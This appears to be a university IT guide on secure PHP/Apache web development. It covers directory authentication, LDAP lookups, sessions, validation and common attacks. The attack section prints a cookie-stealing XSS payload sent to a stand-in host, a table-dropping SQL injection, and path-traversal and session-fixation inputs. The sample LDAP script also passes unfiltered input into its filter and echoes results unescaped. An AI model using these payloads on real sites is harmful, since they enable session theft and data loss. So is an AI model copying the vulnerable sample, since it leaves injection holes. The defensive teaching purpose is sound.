Identifying clients seeking web site services
Authenticating against the University Directory of User
Names and Passwords
Limiting Access to Group Members
Active Directory, ADS, User Name Attributes
Maintaining Error And Activity Logs
World Wide Web Consortium and Validating HTML
IST provides web services to the University campus. This document lists guidelines and best practices intended for web developers whose web services deliver information and service to the university community.
The client is the person contacting Client Services, or other IST personnel, seeking service. The operator is the person using a client’s web service. We must anticipate the operator’s actions in advising the client. The service agent is an IST Client Services staff or other IST staff involved in providing web services. The unspeakable and improbable, yet possible, person knowingly causing harm is referred to as the Malicious Intender. We must anticipate the malicious person’s actions in advising the client.
How
does a client communicate to IST that she wishes to develop or install a web
service?
Any request for the creation, modification or removal of web services must be submitted through the IST request system, see http://ist.uwaterloo.ca/isthome/istproblem.htm
The
client has purchased a software system. The vendor lists more than one supporting
database system. The client asks which database method is most suitable?
Without further criteria, choose MySQL.
The
client has purchased a software system that requires Microsoft’s SQL Server. Is
it supported?
All support must be provided by the vendor.
The
client wants to develop their own web application. What software should I use?
What request must I make to instantiate a service?
Begin by authorising your request as per the details in the document http://ist.uwaterloo.ca/istweb/webservers.htm Then mail a request to the Request system of the form:
“I would like to create a MySQL database on pole and store PHP scripts for the purpose of experiencing the development environment. Please arrange the necessary privileges.”
Any request for the creation, modification or removal of web services must be submitted through the IST Request system, see http://ist.uwaterloo.ca/isthome/istproblem.htm
All Systems require development or testing before being implemented into production. All systems will therefore begin on a development system before the migration to production. Acquire, or prepare, migration instructions in anticipation of this event.
Use PHP to validate operator supplied information against the Session store, or a database, from the server. Use JavaScript to validate operator supplied information at the browser. Validate:
Strings
Numbers
Dates and Time
Email address
Postal code
See the section Server Side Data Validation for some details. All input must be filtered and all output must be escaped.
Performing client side validation expedites feedback on operator errors. It allows you to check each field as entered rather than all fields at once from the server. However replicate the validation procedure on the server as you have no control over what happens on the client side. Never trust the operator or the browser.
A web page that asks an operator to enter a user name, a password or any other information that is determined confidential must encrypt that information before transferring the responses to the web server. SSL is the technology recommended for encrypting such information.
To employ SSL:
SSLRequireSSL
satisfy all
require valid-user
See [5] for a history of .htaccess changes in authenticating against the UW directory.
Each application requiring authentication will have an .htaccess file in its starting directory that augments the server wide Apache configuration. The .htaccess controls apply to the files in the starting directory and all subordinate directories. The Authorization Type defined by IST’s servers is Basic which would transfer user names and passwords unencrypted over the network. Therefore make sure the operator addresses only https connections and have a valid certificate installed on their computer.
Require an operator’s use of an SSL connection. See the section Secure Sockets Layer (SSL) and also [12], [13].
You may limit access to computers on campus with the directives:
Order deny, allow
Deny from all
allow from 129.97
Permit everyone in the UW directory access using:
require
valid-user
Once an operator has offered their credentials and a match is found in the directory the requested web document will be run. Your script may identify the authenticated user name in the PHP variable: $_SERVER["PHP_AUTH_USER"]
The Human Resources and Registrar’s offices have defined the status of people in the University directory by assigning their UW Directory identifier to one or more groups. You may limit access to your web pages to members of one or more of these groups.
Add
the following line to your .htaccess
file and limit web page access to University staff.
require ldap-attribute memberOf="CN=IdM-HR-staff,OU=Is A,OU=Security Groups,OU=Administration,DC=ads,DC=uwaterloo,DC=ca"
The
name IdM-HR-staff limits access to
staff members as defined by the Human Resources department. The following table
lists alternatives.
|
Name |
Population |
|
IdM-HR-staff |
All UW
Staff |
|
IdM-HR-faculty |
All UW
Faculty |
|
IdM-HR-employee |
All
currently employed by UW |
|
IdM-student |
All
currently enrolled students |
|
IdM-SA-Applied
Health Sciences |
Applied
Health Sciences |
|
IdM-SA-Arts |
Arts |
|
IdM-SA-Engineering |
Engineering |
|
IdM-SA-Environmental
Studies |
Faculty
of Environment |
|
IdM-SA-Mathematics |
Mathematics |
|
IdM-SA-Science |
Science |
To
permit two or more groups access, add the appropriate lines. For example, to
permit both Staff and Faculty access add:
require ldap-attribute memberOf="CN=IdM-HR-staff,OU=Is A,OU=Security Groups,OU=Administration,DC=ads,DC=uwaterloo,DC=ca"
require ldap-attribute memberOf="CN=IdM-HR-faculty,OU=Is A,OU=Security Groups,OU=Administration,DC=ads,DC=uwaterloo,DC=ca"
The objective is to query the Active Directory regarding a registered user name. You require credentials to connect to the Active Directory which is referred to below as the Service Account. This exercise involves an HTML file asking for a registered user’s name and a selection of attributes. Also involved is a PHP script that processes the operator’s selections and builds a report.
We do not support anonymous connections to the University Directory. Therefore you must have a full set of credentials, user name and password, to connect to the directory. Use the Request system to ask for the creation of an account to service your application describing explicitly the required access of the account. For example:
limit the account to read a user name and department name only.
Use of a login account for web services is prohibited.
<html>
<head>
<title>User Information</title>
</head>
<body>
<h1>Identify</h1>
Select
user attributes to be reported.
<form
action="LDAP fn.php" method=post>
<table>
<tr><td Align=right>User Name <td><input type="text"
name="username">
<tr><td Align=right>Department <td><input
type="checkbox" name="attribute[]"
value="department">
<tr><td Align=right>Mail <td><input
type="checkbox" name="attribute[]"
value="mail">
<tr><td Align=right>First Name <td><input
type="checkbox" name="attribute[]"
value="givenname">
<tr><td Align=right>Surname <td><input
type="checkbox" name="attribute[]" value="sn">
<tr><td Align=right>Canonical Name<td><input
type="checkbox" name="attribute[]" value="cn">
</table>
<p>
<input
type=submit value="Look up">
</form>
</body>
</html>
Identify the person whose directory attributes are of interest:
$Searchfor = $_POST["username"];
Declare the credentials of a service account that will perform the required Directory search. The credentials will have been defined for you as per your request for a Service Account. Store the credentials in an external file stored outside of the web space. See the section Include File.
$Server =
"ads.uwaterloo.ca";
$filter =
"sAMAccountName=$Searchfor";
$Service_acct = 'sacct';
$Root = "DC=ads,DC=uwaterloo,DC=ca";
$Principal_name = “$Service_acct@$Server";
$ServicePWD = $Password;
//Defined in an external PHP script.
List a set of possible attributes to be extracted from the Directory. This list must correspond with the list in the above HTML file:
$Attribute_list = array(
"department"
=> "Department",
"mail" => "Mail",
"givenname" => "First Name",
"sn" => "Surname",
"cn" => "Canonical Name"
);
Identify an LDAP server:
$ldapserver=ldap_connect($Server)
or
die("<p>Server $Server unavailable for service.<p>");
Offer the credentials of the Service Account:
$bind = ldap_bind($ldapserver,$Principal_name,$ServicePWD);
if( empty($bind)
)
{
print
"<p>Authentication failed. Check Server name and the validity of the
credentials.<p>";
ldap_close($ldapserver);
exit(0);
}
At this point we have authenticated against the directory and will perform the search. Process the operator selections:
$Selections = $_POST['attribute'];
Run the query and obtain a record set:
$result = ldap_search($ldapserver,$Root,$filter,$Selections);
$info = ldap_get_entries($ldapserver,$result);
Did we obtain any information?
if($info["count"]
== 0)
{
print
"<p>No response for the specified criteria.<p>";
}
If there are data build an HTML table:
else
{
print
"<table border=2><tr>";
foreach (
$Selections as $attribute ) {
print
"<th>" . $Attribute_list[$attribute];
}
for($i=0;$i<$info["count"];$i++)
{
$row[$i]
= "<tr>";
foreach
( $Selections as $attribute ) {
$row[$i]
.= "<td>" . $info[$i][$attribute][0];
}
}
sort($row);
for($i=0;$i<$info["count"];$i++)
print $row[$i] . "\n";
print
"</table>";
}
print "</body></html>";
Goodbye!
ldap_close($ldapserver);
If your web application requires two or
more information exchanges with a web server then you may need to initiate a
· Whether a client is logged on
· Data collected from earlier requests, e.g. shopping cart
A session begins with the assignment of a session identifier. The identifier is exchanged between browser and server to maintain session information. To start a session:
session_start();
PHP’s default behaviour is to maintain session information on the server. This function must be called prior to the display of any other content in the browser. Session data are maintained in the associative array $_SESSION.
Always
end a session:
session_destroy();
Imagine the client designs a web application with multiple interactions and uses session_start() to maintain operator information. Imagine that Malicious Intender tricks the operator in going to the web site with a URL like:
https://server.uwaterloo.ca/application.php?PHPSESSID=1234
Because a session ID is provided a new identifier is not generated. The operator does business as usual. The Malicious Intender may now have full access to the session data because they know its identifier. You’ve been hacked!
To avoid this situation test for the existence of a privately named variable and create a new session ID if that private variable has not yet been defined:
if
(!isset($_SESSION["pnvvar"])) {
session_regenerate_id();
$_SESSION['pnvvar']
= true;
}
See [9] , section Session Fixation.
If you intend to prepare JavaScript or use ActiveX components, review the guidelines at http://ist.uwaterloo.ca/security/howto/2002-07-03/ section Client HTML.
Use of any function that launches a script or binary program on the server is prohibited. See the section Command Injection.
Always use the POST method on an HTML form to pass information to a PHP script on the server.
If you expect to use information such as a service account name and password, define these in a php document, such as Declarations.php stored outside of the web space. Include the file in a script with the instruction:
require_once "../Include/Declarations.php"
This method minimizes maintenance when multiple pages require this common information and a password is changed or when the entire authorization system is to be suppressed.
Strings:
If the expected response is limited, use a drop down list or a series of radio buttons or check boxes to prevent the operator from supplying harmful text. Otherwise see [6] , page 288.
$Screen = "";
$Screen = htmlentities($strValue,
ENT_QUOTES);
Numbers
Dates
Prompt the operator for three integers representing Day, Month and Year. Determine if the given date is valid:
if ( !checkdate(
$Month, $Day, $Year ) ) {
echo "<br>Not
valid.<p>";
}
else
{
echo "<br>Valid.<p>";
}
See the Calendar classes of the PEAR package.
Email address
See [6] example 9-2, for a lengthy parse and validation logic applied to an operator supplied e-mail address. This process tests a legitimate mail server name and assesses some client name part convention.
Postal code
ereg("^[ABCEGHJ-NPRSTVXY][0-9][ABCEGHJ-NPRSTV-Z] [0-9][ABCEGHJ-NPRSTV-Z][0-9]$", $pcodeValue);
While validating information at the browser is faster than at the server you may never be entirely confident the data are error free. You will likely often double check the data with PHP or in the database logic.
Firefox users can type javascript: in the Address bar and be assisted by a JavaScript debugging window. Not so with IE 6.
Dates
Using a graphical calendar written in JavaScript makes date selection by the operator much easier than requiring her to type integers. Validating the date at the browser side expedites date selection and minimizes server processing. See http://www.softcomplex.com/products/tigra_calendar as an example.
Using JavaScript to check the typed integers at the browser is also possible. See http://www.smartwebby.com/DHTML/date_validation.asp
Strings
See [6] , example 9-12 for an extensive check of form field content. The script uses JavaScript (example.9-12.js), a PEAR IT template (example.9-14.tpl), PHP and HTML (example.9-13.php) to prompt an operator for information requiring certain fields have content before transferring the information to the server.
Assuming the browser allows JavaScript and ActiveX controls limits the use of your application.
Avoid launching a process on the server from a web application.
Another situation involves the include command where the file name included is derived from operator input:
include "directory/$filename";
The Malicious Intender may type something like “../../etc”. Even using a constant filename suffix such as:
include "directory/$filename.html";
may be pirated with the expression “../../etc%00” where the representative NULL terminates the string avoiding the .html. The include can refer to a URL so that the Malicious Intender can introduce “../../http://server/file.php%00” and have your PHP interpreter run their code.
The function fopen() is also subject to the same abuse allowing an Malicious Intender access to any file on the server that the web service is allowed access to. Use the basename() function to strip off any directory specifications.
Functions to avoid: exec(), system(), fopen(), popen(), passthru(), shell_exec(). If you must converse with the server filter the data including such functions as escapeshellcmd() and escapeshellarg(). See [10]
Any web form that collects text, as in the HTML text tag or textarea tag, is vulnerable to malicious intent when that text is not checked for unsuitable content before being processed by the form’s PHP script. Unsuitable content is a URL or PHP or JavaScript code fragment or MySQL code fragment. Processing involves the PHP script passing that text to the PHP interpreter or MySQL service before being checked (filtered or sanitized). For example, if you collect a comment from an operator:
Comment: <textarea name=”comment”
rows=”10” cols=”30”></textarea>
Then display that comment back to the operator:
echo
“<blockquote>$_POST[‘comment’]</blockquote>”
And that operator entered the comment:
<script>document.location=’http://badperson.org/bad.php?cookies=’ + document.cookie</script>
Then the operator will have a copy of any cookies currently defined by the session.
To avoid this situation see the section Server Side Data Validation.
Imagine having developed an interactive web application and having at least one operator in the middle of the session. Imagine then a Malicious Intender sending a completely formed URL that another copy of your PHP script processes believing it is the currently connected operator who submitted the request. To avoid this situation never use the $_REQUEST global variable to detect user requests; use $_POST. The $_REQUEST array is formed from both POST and GET methods. Use sessions and check that user data all belong to the same session.
See [8] , pg 24, Cross-Site Request Forgeries for more detail.
Store database credentials in an include file. If a Malicious Intender derives the name of that file and addresses it directly, e.g. https://server/application/Include/include.inc then the contents may very well be exposed. To avoid:
Assume your application makes use of a database. Your web form asks the operator to enter a name. Your application constructs a query to the database by appending the given name to the end of the query. For example you build the instruction:
SELECT * FROM database.table WHERE name = “$name”;
Which possibly translates to:
SELECT * FROM database.table WHERE name =
“sacct”;
But could translate to:
SELECT * FROM database.table WHERE name =
“sacct”; Drop table users;
If the operator typed “sacct”; Drop table users; in the name field.
Table locking from a web application is high risk. If you must lock a table make sure that all steps (lock, query, update, unlock) all occur in the same page. While mysql_pconnect() (persistent connection) will sustain a locked table, mysql_connect() will release a locked table when the connection is closed. Explicitly UNLOCK, do not assume unlocks happen under other circumstances. See [6]
Cookies are small data files that exist on the operator’s computer, for example C:\Documents and Settings\username\Cookies\, that contain two HTTP controls, or headers. Their purpose is to maintain continuity between two or more interactions of a web server and an operator. PHP has a setcookie() function. See [9] .
An alternative mechanism is to use PHP’s session management functions including the session_start() function which maintains data on the server.
Error reporting should be set at its highest state during Development to inform the developer of mal formed code but limited in Production so that mal formed people are not informed.
Development:
<?php
ini_set(‘error_reporting’,
E_ALL | E_STRICT);
ini_set(‘display_errors’,
‘On’);
ini_set(‘log_errors’,
‘On’);
ini_set(‘error_log’,
‘Logs/Application_errors.log’);
?>
Production:
<?php
ini_set(‘error_reporting’,
E_ALL | E_STRICT);
ini_set(‘display_errors’,
‘Off’);
ini_set(‘log_errors’,
‘On’);
ini_set(‘error_log’,
‘Logs/Application_errors.log’);
?>
An application, in production, may wish to manage usage information. It is recommended this information be managed within a database and not on the server’s file system. Be vigilant in the removal of out dated information.
[1] IST Servers
http://ist.uwaterloo.ca/istweb/webservers.htm
[2] Best Current Practices, R. Quinton, 1998
http://ist.uwaterloo.ca/security/position/bcp/paper.pdf
[3] Secure E-Commerce, R. Quinton,
http://ist.uwaterloo.ca/security/howto/2002-07-03/paper.pdf
[4] htaccess controls
http://httpd.apache.org/docs/2.0/howto/htaccess.html
[5] UW Authentication
http://ist.uwaterloo.ca/security/howto/2002-11-15
[6] Web Database Applications With PHP and MySQL, 2nd Edition
Williams and Lane, O’Reilly, 2005
[7] PHP ereg
http://ca3.php.net/ereg
[8] Essential PHP Security, Chris Shiflett, O’Reilly, 2006
[9] Cookie specifications
http://hc.apache.org/httpclient-3.x/cookies.html
[10] Command Injection Filters
http://ca.php.net/manual/en/function.escapeshellcmd.php
http://ca.php.net/manual/en/function.escapeshellarg.php
[11] Vulnerabilities, R. Quinton
http://ist.uwaterloo.ca/security/vulnerable/20051125.shtml
[12] .htaccess examples
http://www.apache-ssl.org/docs.html#SSLRequireSSL
[13] Some useful hints for Apache 2.0
http://www.math.tu-clausthal.de/~matsa/linux/apache-nis/
[14] LDAP Authentication module
http://httpd.apache.org/docs/2.2/mod/mod_authnz_ldap.html
The World Wide Web consortium has prepared browser accessible tools that evaluate your developed HTML. See http://validator.w3.org/